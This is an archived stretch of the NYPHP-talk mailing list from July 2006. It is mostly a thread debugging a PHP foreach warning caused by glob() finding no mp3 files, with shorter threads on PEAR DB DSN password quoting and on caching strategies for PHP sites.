Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <002a01c6a9de$0f47b7b0$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced>	<1153167068.18340.0.camel@localhost>
	<002a01c6a9de$0f47b7b0$0619a8c0@ced>
Message-ID: <44BBFF44.4040603@beaffinitive.com>

I'm pretty certain what's happening here is that the glob function is 
returning an empty array which is why the foreach on line 4 doesn't give 
an error, but it also doesn't set $sort to anything.

foreach requires that the first argument is an array.  So that's why you 
get errors on lines 5 and 18.  You should add a condition between line 4 
and 5 that does something like "if (! is_array($sort))" and then 
displays an empty xml doc and exits if that is the case.

-Rob

CED wrote:
> www.EdwardPrevost.info/Audio <http://www.EdwardPrevost.info/Audio>
>  
> You'll see the basic structure there
> /Music is the MP3 files
> /mp3 is the PHP file
>  
> The error is a basic WARNING Invalid argument supplied for foreach() on 
> line 5. Same thing reported for Line 18.
> 
>     ----- Original Message -----
>     *From:* lists at jack-scott.com <mailto:lists at jack-scott.com>
>     *To:* NYPHP Talk <mailto:talk at lists.nyphp.org>
>     *Sent:* Monday, July 17, 2006 4:11 PM
>     *Subject:* Re: [nycphp-talk] foreach ERROR
> 
> 
>     On Mon, 2006-07-17 at 15:43 -0400, CED wrote:
>>     Sirs, 
>>     I have used variables many times in foreach statements... and
>>     having spent several hours tryignt o debug this I thought I'd
>>     throw it out here: 
>>
>>        1. <?
>>        2. function readD($dir){
>>        3. if(!$dir){$dir = '.';}
>>        4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
>>           end(explode('/',$item));}
>>        5.  foreach($sort as $sorteditem){
>>        6.   if($sort){natsort($sort);}
>>        7.     foreach($sort as $item){$return[]= $item;}
>>        8.      if(!$return){return array();}
>>        9.      }
>>       10.   return $return;
>>       11.   } ?>
>>       12. <?php header("Content-type: text/xyxml") ?>
>>       13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?>
>>       14. <? echo '<player showDisplay="yes" showPlaylist="no"
>>           autoStart="yes">
>>       15. ' ;
>>       17. $sFolder = '../Audio/Music' ;
>>       18. foreach(readD($sFolder) as $item)
>>       19. { 
>>     PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug?
>>     Am I a moron?
> 
>     what are the errors? Is line five looping on an empty array
> 
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From Consult at CovenantEDesign.com  Mon Jul 17 18:45:50 2006
From: Consult at CovenantEDesign.com (CED)
Date: Mon, 17 Jul 2006 18:45:50 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced>	<1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced>
	<44BBFF44.4040603@beaffinitive.com>
Message-ID: <00a801c6a9f2$c2d9a0e0$0619a8c0@ced>

The IF statement does solve the one warning...

but the foreach call including the function is still erroring.

----- Original Message ----- 
From: "Rob Marscher" <rmarscher at beaffinitive.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, July 17, 2006 5:21 PM
Subject: Re: [nycphp-talk] foreach ERROR


I'm pretty certain what's happening here is that the glob function is
returning an empty array which is why the foreach on line 4 doesn't give
an error, but it also doesn't set $sort to anything.

foreach requires that the first argument is an array.  So that's why you
get errors on lines 5 and 18.  You should add a condition between line 4
and 5 that does something like "if (! is_array($sort))" and then
displays an empty xml doc and exits if that is the case.

-Rob

CED wrote:
> www.EdwardPrevost.info/Audio <http://www.EdwardPrevost.info/Audio>
>
> You'll see the basic structure there
> /Music is the MP3 files
> /mp3 is the PHP file
>
> The error is a basic WARNING Invalid argument supplied for foreach() on
> line 5. Same thing reported for Line 18.
>
>     ----- Original Message -----
>     *From:* lists at jack-scott.com <mailto:lists at jack-scott.com>
>     *To:* NYPHP Talk <mailto:talk at lists.nyphp.org>
>     *Sent:* Monday, July 17, 2006 4:11 PM
>     *Subject:* Re: [nycphp-talk] foreach ERROR
>
>
>     On Mon, 2006-07-17 at 15:43 -0400, CED wrote:
>>     Sirs,
>>     I have used variables many times in foreach statements... and
>>     having spent several hours tryignt o debug this I thought I'd
>>     throw it out here:
>>
>>        1. <?
>>        2. function readD($dir){
>>        3. if(!$dir){$dir = '.';}
>>        4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
>>           end(explode('/',$item));}
>>        5.  foreach($sort as $sorteditem){
>>        6.   if($sort){natsort($sort);}
>>        7.     foreach($sort as $item){$return[]= $item;}
>>        8.      if(!$return){return array();}
>>        9.      }
>>       10.   return $return;
>>       11.   } ?>
>>       12. <?php header("Content-type: text/xyxml") ?>
>>       13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?>
>>       14. <? echo '<player showDisplay="yes" showPlaylist="no"
>>           autoStart="yes">
>>       15. ' ;
>>       17. $sFolder = '../Audio/Music' ;
>>       18. foreach(readD($sFolder) as $item)
>>       19. {
>>     PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug?
>>     Am I a moron?
>
>     what are the errors? Is line five looping on an empty array
>
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From rmarscher at beaffinitive.com  Mon Jul 17 19:38:15 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Mon, 17 Jul 2006 19:38:15 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <00a801c6a9f2$c2d9a0e0$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced>	<1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced>	<44BBFF44.4040603@beaffinitive.com>
	<00a801c6a9f2$c2d9a0e0$0619a8c0@ced>
Message-ID: <44BC1F67.5060707@beaffinitive.com>

Oh... you know what...  I didn't notice on the first read that the first 
11 lines were a function definition.

Here's what you want between line 4 and 5:

if (! is_array($sort)) { return array();  }

That should solve it hopefully :)

-Rob

CED wrote:
> The IF statement does solve the one warning...
> 
> but the foreach call including the function is still erroring.
> 
> ----- Original Message ----- 
> From: "Rob Marscher" <rmarscher at beaffinitive.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Monday, July 17, 2006 5:21 PM
> Subject: Re: [nycphp-talk] foreach ERROR
> 
> 
> I'm pretty certain what's happening here is that the glob function is
> returning an empty array which is why the foreach on line 4 doesn't give
> an error, but it also doesn't set $sort to anything.
> 
> foreach requires that the first argument is an array.  So that's why you
> get errors on lines 5 and 18.  You should add a condition between line 4
> and 5 that does something like "if (! is_array($sort))" and then
> displays an empty xml doc and exits if that is the case.
> 
> -Rob
> 
> CED wrote:
>> www.EdwardPrevost.info/Audio <http://www.EdwardPrevost.info/Audio>
>>
>> You'll see the basic structure there
>> /Music is the MP3 files
>> /mp3 is the PHP file
>>
>> The error is a basic WARNING Invalid argument supplied for foreach() on
>> line 5. Same thing reported for Line 18.
>>
>>     ----- Original Message -----
>>     *From:* lists at jack-scott.com <mailto:lists at jack-scott.com>
>>     *To:* NYPHP Talk <mailto:talk at lists.nyphp.org>
>>     *Sent:* Monday, July 17, 2006 4:11 PM
>>     *Subject:* Re: [nycphp-talk] foreach ERROR
>>
>>
>>     On Mon, 2006-07-17 at 15:43 -0400, CED wrote:
>>>     Sirs,
>>>     I have used variables many times in foreach statements... and
>>>     having spent several hours tryignt o debug this I thought I'd
>>>     throw it out here:
>>>
>>>        1. <?
>>>        2. function readD($dir){
>>>        3. if(!$dir){$dir = '.';}
>>>        4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
>>>           end(explode('/',$item));}
>>>        5.  foreach($sort as $sorteditem){
>>>        6.   if($sort){natsort($sort);}
>>>        7.     foreach($sort as $item){$return[]= $item;}
>>>        8.      if(!$return){return array();}
>>>        9.      }
>>>       10.   return $return;
>>>       11.   } ?>
>>>       12. <?php header("Content-type: text/xyxml") ?>
>>>       13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?>
>>>       14. <? echo '<player showDisplay="yes" showPlaylist="no"
>>>           autoStart="yes">
>>>       15. ' ;
>>>       17. $sFolder = '../Audio/Music' ;
>>>       18. foreach(readD($sFolder) as $item)
>>>       19. {
>>>     PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug?
>>>     Am I a moron?
>>     what are the errors? Is line five looping on an empty array
>>
>>     ----------------------------------------------------------------------
> --
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From jeff.loiselle at gmail.com  Tue Jul 18 10:19:25 2006
From: jeff.loiselle at gmail.com (Jeff Loiselle)
Date: Tue, 18 Jul 2006 10:19:25 -0400
Subject: [nycphp-talk] PEAR:DB and DSN Quoting
Message-ID: <4b1887110607180719j734634d5jea066c54940a3d87@mail.gmail.com>

Hello,

PEAR DB is cool, and I know it's being phased out, but I am still
having issues with DSN quoting. A password like "ru2H=yE7u" simply
doesnt not seem to work for me. I am currently using MySQL 5. I
followed the quoting instructions in the docs concerning using URI hex
codings "ru2H%3dyE7u" but I still can't login. Anyone else ever have
any of these problems?

http://pear.php.net/manual/en/package.database.db.intro-dsn.php

-- 
---
Jeff Loiselle
Web Developer, Musician, and Observer
http://jeff.loiselles.com

""A man is what he thinks about all day long." - Ralph Waldo Emerson


From ps at pswebcode.com  Tue Jul 18 11:15:23 2006
From: ps at pswebcode.com (Peter Sawczynec)
Date: Tue, 18 Jul 2006 11:15:23 -0400
Subject: [nycphp-talk] PEAR:DB and DSN Quoting
In-Reply-To: <4b1887110607180719j734634d5jea066c54940a3d87@mail.gmail.com>
Message-ID: <004401c6aa7c$fe0b0700$68e4a144@Rubicon>

You should present you exact error message(s), but have you examined this
issue bearing in mind that the MySQL internal password encryption technique
has evolved from version 3 to 4 to 5 and that many client-side tools and
scripts have not matched the MySQL change(s). Sometimes you need to force
change how MySQL is handling passwords to move ahead. Google your error
message(s) to get quick tips.

Warmest regards,
 
Peter Sawczynec,
Technology Director
PSWebcode
_Design & Interface
_Ecommerce
_Database Management
ps at pswebcode.com
718.796.1951
www.pswebcode.com


 

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Jeff Loiselle
Sent: Tuesday, July 18, 2006 10:19 AM
To: NYPHP Talk
Subject: [nycphp-talk] PEAR:DB and DSN Quoting


Hello,

PEAR DB is cool, and I know it's being phased out, but I am still having
issues with DSN quoting. A password like "ru2H=yE7u" simply doesnt not seem
to work for me. I am currently using MySQL 5. I followed the quoting
instructions in the docs concerning using URI hex codings "ru2H%3dyE7u" but
I still can't login. Anyone else ever have any of these problems?

http://pear.php.net/manual/en/package.database.db.intro-dsn.php

-- 
---
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Web Developer, Musician, and Observer
http://jeff.loiselles.com

""A man is what he thinks about all day long." - Ralph Waldo Emerson
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From Consult at CovenantEDesign.com  Tue Jul 18 19:27:29 2006
From: Consult at CovenantEDesign.com (CED)
Date: Tue, 18 Jul 2006 19:27:29 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced>	<1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced>	<44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced>
	<44BC1F67.5060707@beaffinitive.com>
Message-ID: <00b401c6aac1$bcd31d00$0619a8c0@ced>

Rob,

I placed that iteration areound the last portion of the function, still no
worky.

Code errors on Line 23 now..

foreach(readd($sFolder) as $item)

hmmm

-Ed

----- Original Message ----- 
From: "Rob Marscher" <rmarscher at beaffinitive.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Monday, July 17, 2006 7:38 PM
Subject: Re: [nycphp-talk] foreach ERROR


Oh... you know what...  I didn't notice on the first read that the first
11 lines were a function definition.

Here's what you want between line 4 and 5:

if (! is_array($sort)) { return array();  }

That should solve it hopefully :)

-Rob

CED wrote:
> The IF statement does solve the one warning...
>
> but the foreach call including the function is still erroring.
>
> ----- Original Message ----- 
> From: "Rob Marscher" <rmarscher at beaffinitive.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Monday, July 17, 2006 5:21 PM
> Subject: Re: [nycphp-talk] foreach ERROR
>
>
> I'm pretty certain what's happening here is that the glob function is
> returning an empty array which is why the foreach on line 4 doesn't give
> an error, but it also doesn't set $sort to anything.
>
> foreach requires that the first argument is an array.  So that's why you
> get errors on lines 5 and 18.  You should add a condition between line 4
> and 5 that does something like "if (! is_array($sort))" and then
> displays an empty xml doc and exits if that is the case.
>
> -Rob
>
> CED wrote:
>> www.EdwardPrevost.info/Audio <http://www.EdwardPrevost.info/Audio>
>>
>> You'll see the basic structure there
>> /Music is the MP3 files
>> /mp3 is the PHP file
>>
>> The error is a basic WARNING Invalid argument supplied for foreach() on
>> line 5. Same thing reported for Line 18.
>>
>>     ----- Original Message -----
>>     *From:* lists at jack-scott.com <mailto:lists at jack-scott.com>
>>     *To:* NYPHP Talk <mailto:talk at lists.nyphp.org>
>>     *Sent:* Monday, July 17, 2006 4:11 PM
>>     *Subject:* Re: [nycphp-talk] foreach ERROR
>>
>>
>>     On Mon, 2006-07-17 at 15:43 -0400, CED wrote:
>>>     Sirs,
>>>     I have used variables many times in foreach statements... and
>>>     having spent several hours tryignt o debug this I thought I'd
>>>     throw it out here:
>>>
>>>        1. <?
>>>        2. function readD($dir){
>>>        3. if(!$dir){$dir = '.';}
>>>        4. foreach(glob("$dir/*.mp3") as $item){$sort[]=
>>>           end(explode('/',$item));}
>>>        5.  foreach($sort as $sorteditem){
>>>        6.   if($sort){natsort($sort);}
>>>        7.     foreach($sort as $item){$return[]= $item;}
>>>        8.      if(!$return){return array();}
>>>        9.      }
>>>       10.   return $return;
>>>       11.   } ?>
>>>       12. <?php header("Content-type: text/xyxml") ?>
>>>       13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?>
>>>       14. <? echo '<player showDisplay="yes" showPlaylist="no"
>>>           autoStart="yes">
>>>       15. ' ;
>>>       17. $sFolder = '../Audio/Music' ;
>>>       18. foreach(readD($sFolder) as $item)
>>>       19. {
>>>     PHP keeps erroring on Lines 5 and 18. Any thoughts? Is this a bug?
>>>     Am I a moron?
>>     what are the errors? Is line five looping on an empty array
>>
>>     ---------------------------------------------------------------------
-
> --
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From kenrbnsn at rbnsn.com  Tue Jul 18 19:37:44 2006
From: kenrbnsn at rbnsn.com (Ken Robinson)
Date: Tue, 18 Jul 2006 19:37:44 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <00b401c6aac1$bcd31d00$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced>
	<1153167068.18340.0.camel@localhost>
	<002a01c6a9de$0f47b7b0$0619a8c0@ced>
	<44BBFF44.4040603@beaffinitive.com>
	<00a801c6a9f2$c2d9a0e0$0619a8c0@ced>
	<44BC1F67.5060707@beaffinitive.com>
	<00b401c6aac1$bcd31d00$0619a8c0@ced>
Message-ID: <7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>

At 07:27 PM 7/18/2006, CED wrote:
>Rob,
>
>I placed that iteration areound the last portion of the function, still no
>worky.
>
>Code errors on Line 23 now..
>
>foreach(readd($sFolder) as $item)



  Can you post the current non-working script? With so many different 
suggestions, I'd like to be able to see what you're seeing.

Ken 



From Consult at CovenantEDesign.com  Tue Jul 18 20:00:39 2006
From: Consult at CovenantEDesign.com (CED)
Date: Tue, 18 Jul 2006 20:00:39 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced>
	<7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>
Message-ID: <00c401c6aac6$5f2bcb70$0619a8c0@ced>

This is the most recent, and stripped down, state:

<?
$dir = '../Audio/Music';
foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
    foreach($sort as $item){$return[]= $item;}
     if(!$return){return array();}

  echo($return[0]) ;
  ?>


And this is still the error:

Warning: Invalid argument supplied for foreach() in
/hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line
4

I Am Completely Baffled.

-Ed



----- Original Message ----- 
From: "Ken Robinson" <kenrbnsn at rbnsn.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Tuesday, July 18, 2006 7:37 PM
Subject: Re: [nycphp-talk] foreach ERROR


At 07:27 PM 7/18/2006, CED wrote:
>Rob,
>
>I placed that iteration areound the last portion of the function, still no
>worky.
>
>Code errors on Line 23 now..
>
>foreach(readd($sFolder) as $item)



  Can you post the current non-working script? With so many different
suggestions, I'd like to be able to see what you're seeing.

Ken

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From Consult at CovenantEDesign.com  Tue Jul 18 20:02:33 2006
From: Consult at CovenantEDesign.com (CED)
Date: Tue, 18 Jul 2006 20:02:33 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>
	<00c401c6aac6$5f2bcb70$0619a8c0@ced>
Message-ID: <00cc01c6aac6$a3214170$0619a8c0@ced>

It's almost like it doesn't like the $sort being passed to it... hmmm


----- Original Message ----- 
From: "CED" <Consult at CovenantEDesign.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Tuesday, July 18, 2006 8:00 PM
Subject: Re: [nycphp-talk] foreach ERROR


This is the most recent, and stripped down, state:

<?
$dir = '../Audio/Music';
foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
    foreach($sort as $item){$return[]= $item;}
     if(!$return){return array();}

  echo($return[0]) ;
  ?>


And this is still the error:

Warning: Invalid argument supplied for foreach() in
/hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line
4

I Am Completely Baffled.

-Ed



----- Original Message ----- 
From: "Ken Robinson" <kenrbnsn at rbnsn.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Tuesday, July 18, 2006 7:37 PM
Subject: Re: [nycphp-talk] foreach ERROR


At 07:27 PM 7/18/2006, CED wrote:
>Rob,
>
>I placed that iteration areound the last portion of the function, still no
>worky.
>
>Code errors on Line 23 now..
>
>foreach(readd($sFolder) as $item)



  Can you post the current non-working script? With so many different
suggestions, I'd like to be able to see what you're seeing.

Ken

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From ashaw at polymerdb.org  Tue Jul 18 23:14:14 2006
From: ashaw at polymerdb.org (Allen Shaw)
Date: Tue, 18 Jul 2006 22:14:14 -0500
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <00cc01c6aac6$a3214170$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>	<00c401c6aac6$5f2bcb70$0619a8c0@ced>
	<00cc01c6aac6$a3214170$0619a8c0@ced>
Message-ID: <44BDA386.9020903@polymerdb.org>

Ed,

Did you try var_dump($sort) to see what's in $sort?  Seems clear that 
php doesn't like $sort, and a var_dump might tell you why.

- Allen

CED wrote:
> It's almost like it doesn't like the $sort being passed to it... hmmm
> 
> 
> ----- Original Message ----- 
> From: "CED" <Consult at CovenantEDesign.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Tuesday, July 18, 2006 8:00 PM
> Subject: Re: [nycphp-talk] foreach ERROR
> 
> 
> This is the most recent, and stripped down, state:
> 
> <?
> $dir = '../Audio/Music';
> foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
>     foreach($sort as $item){$return[]= $item;}
>      if(!$return){return array();}
> 
>   echo($return[0]) ;
>   ?>
> 
> 
> And this is still the error:
> 
> Warning: Invalid argument supplied for foreach() in
> /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line
> 4
> 
> I Am Completely Baffled.
> 
> -Ed
> 
> 
> 
> ----- Original Message ----- 
> From: "Ken Robinson" <kenrbnsn at rbnsn.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Tuesday, July 18, 2006 7:37 PM
> Subject: Re: [nycphp-talk] foreach ERROR
> 
> 
> At 07:27 PM 7/18/2006, CED wrote:
> 
>>Rob,
>>
>>I placed that iteration areound the last portion of the function, still no
>>worky.
>>
>>Code errors on Line 23 now..
>>
>>foreach(readd($sFolder) as $item)
> 
> 
> 
> 
>   Can you post the current non-working script? With so many different
> suggestions, I'd like to be able to see what you're seeing.
> 
> Ken
> 
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> 
> 
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> 
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-- 
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Polymer (http://polymerdb.org)


From Consult at CovenantEDesign.com  Wed Jul 19 07:12:11 2006
From: Consult at CovenantEDesign.com (CED)
Date: Wed, 19 Jul 2006 07:12:11 -0400
Subject: [nycphp-talk] foreach ERROR
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>	<00c401c6aac6$5f2bcb70$0619a8c0@ced><00cc01c6aac6$a3214170$0619a8c0@ced>
	<44BDA386.9020903@polymerdb.org>
Message-ID: <005001c6ab24$306a6810$0619a8c0@ced>

Yeah, it's NULL.

So it apparently is the path I"m passing.  hmmm.

----- Original Message ----- 
From: "Allen Shaw" <ashaw at polymerdb.org>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Tuesday, July 18, 2006 11:14 PM
Subject: Re: [nycphp-talk] foreach ERROR


Ed,

Did you try var_dump($sort) to see what's in $sort?  Seems clear that
php doesn't like $sort, and a var_dump might tell you why.

- Allen

CED wrote:
> It's almost like it doesn't like the $sort being passed to it... hmmm
>
>
> ----- Original Message ----- 
> From: "CED" <Consult at CovenantEDesign.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Tuesday, July 18, 2006 8:00 PM
> Subject: Re: [nycphp-talk] foreach ERROR
>
>
> This is the most recent, and stripped down, state:
>
> <?
> $dir = '../Audio/Music';
> foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
>     foreach($sort as $item){$return[]= $item;}
>      if(!$return){return array();}
>
>   echo($return[0]) ;
>   ?>
>
>
> And this is still the error:
>
> Warning: Invalid argument supplied for foreach() in
> /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on
line
> 4
>
> I Am Completely Baffled.
>
> -Ed
>
>
>
> ----- Original Message ----- 
> From: "Ken Robinson" <kenrbnsn at rbnsn.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Tuesday, July 18, 2006 7:37 PM
> Subject: Re: [nycphp-talk] foreach ERROR
>
>
> At 07:27 PM 7/18/2006, CED wrote:
>
>>Rob,
>>
>>I placed that iteration areound the last portion of the function, still no
>>worky.
>>
>>Code errors on Line 23 now..
>>
>>foreach(readd($sFolder) as $item)
>
>
>
>
>   Can you post the current non-working script? With so many different
> suggestions, I'd like to be able to see what you're seeing.
>
> Ken
>
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>
>
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-- 
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From nyphp at n0p.net  Wed Jul 19 09:32:44 2006
From: nyphp at n0p.net (Flavio daCosta)
Date: Wed, 19 Jul 2006 09:32:44 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <00cc01c6aac6$a3214170$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced><7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>	<00c401c6aac6$5f2bcb70$0619a8c0@ced>
	<00cc01c6aac6$a3214170$0619a8c0@ced>
Message-ID: <44BE347C.2040101@n0p.net>

I haven't been following along, so forgive me if this has been already
covered.  Looking at the error and the code, for one, I can see a
problem with the path.  You are in '.../Audio/mp3', what you want is
'../Music'.  Secondly, I'm not really sure what your objectives are, but
it appears that some simplification is in order.

Food for thought:

<?php
$dir    = '../Music';
$return = array ();
foreach (glob ("$dir/*.mp3") as $item)
{
    $return[] = basename ($item);
}
print_r($return) ;
?>


> From: "CED" <Consult at CovenantEDesign.com>
> This is the most recent, and stripped down, state:
> 
> <?
> $dir = '../Audio/Music';
> foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
>     foreach($sort as $item){$return[]= $item;}
>      if(!$return){return array();}
> 
>   echo($return[0]) ;
>   ?>
> 
> And this is still the error:
> 
> Warning: Invalid argument supplied for foreach() in
> /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line
> 4


From mitch.pirtle at gmail.com  Wed Jul 19 09:49:16 2006
From: mitch.pirtle at gmail.com (Mitch Pirtle)
Date: Wed, 19 Jul 2006 09:49:16 -0400
Subject: [nycphp-talk] Local File versus DB-based configuration
	settingstrategy
In-Reply-To: <20060710183927.21247.qmail@web52211.mail.yahoo.com>
References: <20060710183927.21247.qmail@web52211.mail.yahoo.com>
Message-ID: <330532b60607190649u5a42d0c9y3047e1bd3ffae88d@mail.gmail.com>

On 7/10/06, P Yurt <pyurt at yahoo.com> wrote:
> When you ask: So you're not caching your output?  ;-)
> Are you referring to caching the entire site so that is displays
> without
> hitting the PHP engine or DB server?
>
> If so, what is the price paid for "caching"

Depending on your setup, and your application requirements, you have
many opportunities for caching:

1) At the database level. MySQL provides a query cache that easily
provides this capability. Basically your configuration information in
the database would be stored in a cached query result, and since your
configuration would rarely change I would say this is a very good
scenario for the query cache to provide benefit.

2) At the code/execution level. You could install PHP accelerators and
bytecode compilers that cache all of your PHP scripts, so they are no
longer parsed for every single access by the client.

3) At the code/output level. You could use a caching library to cache
output of your PHP scripts, for example say one script generated a
login form, you could use Cache_Lite from PEAR so that your form
wouldn't need to be constantly generated (and regenerated).

4) At the transport level. You could proxy your application output, so
that your entire website resided in memory on a proxy server that was
in front of your application server. This would mean someone could
browse an entire site without requiring a single PHP script to be
executed.

I'm presenting next week at NYPHP, do come by and we can make sure
caching techniques are discussed. I've certainly learned a lot, and
would like to know what everyone else's experiences were.

-- Mitch


From rmarscher at beaffinitive.com  Wed Jul 19 10:09:18 2006
From: rmarscher at beaffinitive.com (Rob Marscher)
Date: Wed, 19 Jul 2006 10:09:18 -0400
Subject: [nycphp-talk] foreach ERROR
In-Reply-To: <00c401c6aac6$5f2bcb70$0619a8c0@ced>
References: <004c01c6a9d9$47f82540$0619a8c0@ced><1153167068.18340.0.camel@localhost><002a01c6a9de$0f47b7b0$0619a8c0@ced><44BBFF44.4040603@beaffinitive.com><00a801c6a9f2$c2d9a0e0$0619a8c0@ced><44BC1F67.5060707@beaffinitive.com><00b401c6aac1$bcd31d00$0619a8c0@ced>	<7.0.1.0.2.20060718193639.13e72a78@rbnsn.com>
	<00c401c6aac6$5f2bcb70$0619a8c0@ced>
Message-ID: <44BE3D0E.2010001@beaffinitive.com>

Looks like you put the "if(!$return){return array();}" in the wrong spot.

The underlying problem here is that glob("$dir/*.mp3") is not finding 
any mp3 files.  My suggestions were working towards preventing a php 
error from occuring if it doesn't find any mp3 files.  The reason that 
you are getting errors is because you have to supply any "foreach" 
statement with an array.  Currently, some of your foreach's are getting 
supplied NULL when no mp3 files are found and that's what causes the errors.

Here's my updated version of the original 19 lines you supplied (line 4a 
is what I added):

    1.  <?
    2. function readD($dir){
    3. if(!$dir){$dir = '.';}
    4. foreach(glob("$dir/*.mp3") as $item){$sort[]= 
end(explode('/',$item));}
    4a. if(!is_array($sort)) { return array(); }
    5.  foreach($sort as $sorteditem){
    6.   if($sort){natsort($sort);}
    7.     foreach($sort as $item){$return[]= $item;}
    8.      if(!$return){return array();}
    9.      }
   10.   return $return;
   11.   } ?>
   12. <?php header("Content-type: text/xyxml") ?>
   13. <? echo(' <?xml version="1.0" encoding="UTF-8"?> ') ; ?>
   14. <? echo '<player showDisplay="yes" showPlaylist="no" autoStart="yes">
   15. ' ;
   16.
   17. $sFolder = '../Audio/Music' ;
   18. foreach(readD($sFolder) as $item)
   19. {

Hope that clears it up.
-Rob


CED wrote:
> This is the most recent, and stripped down, state:
> 
> <?
> $dir = '../Audio/Music';
> foreach(glob("$dir/*.mp3") as $item){$sort[] = (end(explode('/',$item)));}
>     foreach($sort as $item){$return[]= $item;}
>      if(!$return){return array();}
> 
>   echo($return[0]) ;
>   ?>
> 
> 
> And this is still the error:
> 
> Warning: Invalid argument supplied for foreach() in
> /hsphere/local/home/skoilnog/edwardprevost.info/Audio/mp3/Audio.php on line
> 4
> 
> I Am Completely Baffled.
> 
> -Ed
> 
> 
> 
> ----- Original Message ----- 
> From: "Ken Robinson" <kenrbnsn at rbnsn.com>
> To: "NYPHP Talk" <talk at lists.nyphp.org>
> Sent: Tuesday, July 18, 2006 7:37 PM
> Subject: Re: [nycphp-talk] foreach ERROR
> 
> 
> At 07:27 PM 7/18/2006, CED wrote:
>> Rob,
>>
>> I placed that iteration areound the last portion of the function, still no
>> worky.
>>
>> Code errors on Line 23 now..
>>
>> foreach(readd($sFolder) as $item)
> 
> 
> 
